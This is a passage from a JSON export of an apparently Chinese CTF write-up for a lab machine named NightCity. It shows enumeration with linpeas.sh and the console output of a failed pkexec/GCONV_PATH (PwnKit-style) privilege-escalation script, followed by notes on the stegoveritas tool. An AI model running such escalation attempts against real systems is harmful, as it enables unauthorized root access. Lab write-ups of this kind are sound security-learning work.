2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2819\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u283f\u2802\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u281f\u2800\u2800\u2800\u2800\n\n Good job!! You just discovered the criminal!\n\njoker@NightCity:\/home\/.joker$ sudo -l\n[sudo] contrase\u00f1a para joker: \nLo sentimos, el usuario joker no puede ejecutar sudo en NightCity.<\/code><\/pre>\n<\/div><\/p>\n\u5176\u5b9e\u5230\u8fd9\u91cc\u5c31\u7ed3\u675f\u4e86\uff0c\u6211\u4e0a\u4f20\u4e86\u4e2alinpeas.sh<\/code>\u770b\u770b\u6709\u6ca1\u6709\u522b\u7684\u5f69\u86cb\uff1a<\/p>\n<\/div><\/p>\n\u53d1\u73b0\u8fd9\u4e2a\u7248\u672c\u597d\u50cf\u662f\u53ef\u4ee5\u63d0\u6743\u7684\uff0c\u8fdb\u884c\u5c1d\u8bd5\uff1a<\/p>\n
<\/div><\/p>\n\u5f88\u9057\u61be\uff0c\u5c1d\u8bd5\u5931\u8d25\uff0c\u591a\u6b21\u5c1d\u8bd5\u4f9d\u7136\uff1a<\/p>\n
joker@NightCity:\/tmp$ .\/exp.py \n[+] Creating shared library for exploit code.\n[-] GCONV_PATH=. directory already exists, continuing.\n[+] Calling execve()\npkexec --version |\n --help |\n --disable-internal-agent |\n [--user username] PROGRAM [ARGUMENTS...]\n\nSee the pkexec manual page for more details.<\/code><\/pre>\n\u540e\u6765\u67e5\u5230\u8fd9\u4e2a\u6f0f\u6d1e\u88ab\u4fee\u590d\u4e86\uff0c\u5c31\u5230\u6b64\u4e3a\u6b62\u5427\u3002\u3002\u3002\u3002<\/p>\n
<\/div><\/p>\n\u5173\u4e8ePS\u90a3\u5757\u5e73\u66ff\u5de5\u5177<\/h2>\n
\u770b\u5e08\u5085\u4eec\u91c7\u7528\u7684\u662fstegoveritas<\/code>\u8fd9\u4e2a\u5de5\u5177\uff0c\u53ef\u4ee5\u5c1d\u8bd5\u4f7f\u7528\u4e00\u4e0b\uff0c\u6ce8\u610f\u4e0d\u8981\u4f7f\u7528\u592a\u65b0\u7684 python \u7248\u672c\uff1a<\/p>\n$ pip3 install stegoveritas\n$ stegoveritas_install_deps<\/code><\/pre>\n\u8fd9\u4e2a\u4e5f\u4e0d\u80fd\u76f4\u63a5\u641e\u51fa\u90a3\u4e2a\u5bc6\u7801\uff0c\u53ea\u662f\u548cstegsolve\u4e00\u6837\u53ef\u4ee5\u5206\u79bb\u4e0d\u540c\u8272\u9053\u7684\u56fe\u5c42\u3002\u3002\u3002\u3002\u3002\u8fd8\u662f\u5f97\u8089\u773c\u770b\u3002\u3002\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"
NightCity \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf \u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity] \u2514 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,18],"tags":[],"class_list":["post-849","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/849","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=849"}],"version-history":[{"count":2,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/849\/revisions"}],"predecessor-version":[{"id":851,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/849\/revisions\/851"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=849"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=849"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=849"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
![\"image-20250611001021142\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506110209161.png\")
<\/div>![\"image-20250611001042100\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506110209162.png\")
<\/div><\/p>\n![\"image-20250611001653609\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506110209163.png\")
<\/div><\/p>\n![\"image-20250611003634094\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506110209164.png\")
<\/div><\/p>\n![\"image-20250611004638221\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506110209165.png\")
<\/div><\/p>\n![\"image-20250611004724462\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506110209166.png\")
<\/div><\/p>\n![\"image-20250611004750293\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506110209167.png\")
<\/div><\/p>\n![\"image-20250611004813932\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506110209168.png\")
<\/div><\/p>\n![\"image-20250611010135206\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506110209169.png\")
<\/div><\/p>\n![\"image-20250611010233770\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506110209170.png\")
<\/div><\/p>\n![\"image-20250611011217521\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506110209171.png\")
<\/div><\/p>\n![\"image-20250611011721649\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506110209172.png\")
<\/div><\/p>\n![\"image-20250611011836567\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506110209173.png\")
<\/div><\/p>\n![\"image-20250611011939114\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506110209174.png\")
<\/div><\/p>\n![\"image-20250611012831373\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506110209175.png\")
<\/div><\/p>\n![\"exploit.c\u6267\u884c\u903b\u8f91\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506110209176.png\")
<\/div><\/p>\n![\"image-20250611020850951\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506110209177.png\")
<\/div><\/p>\n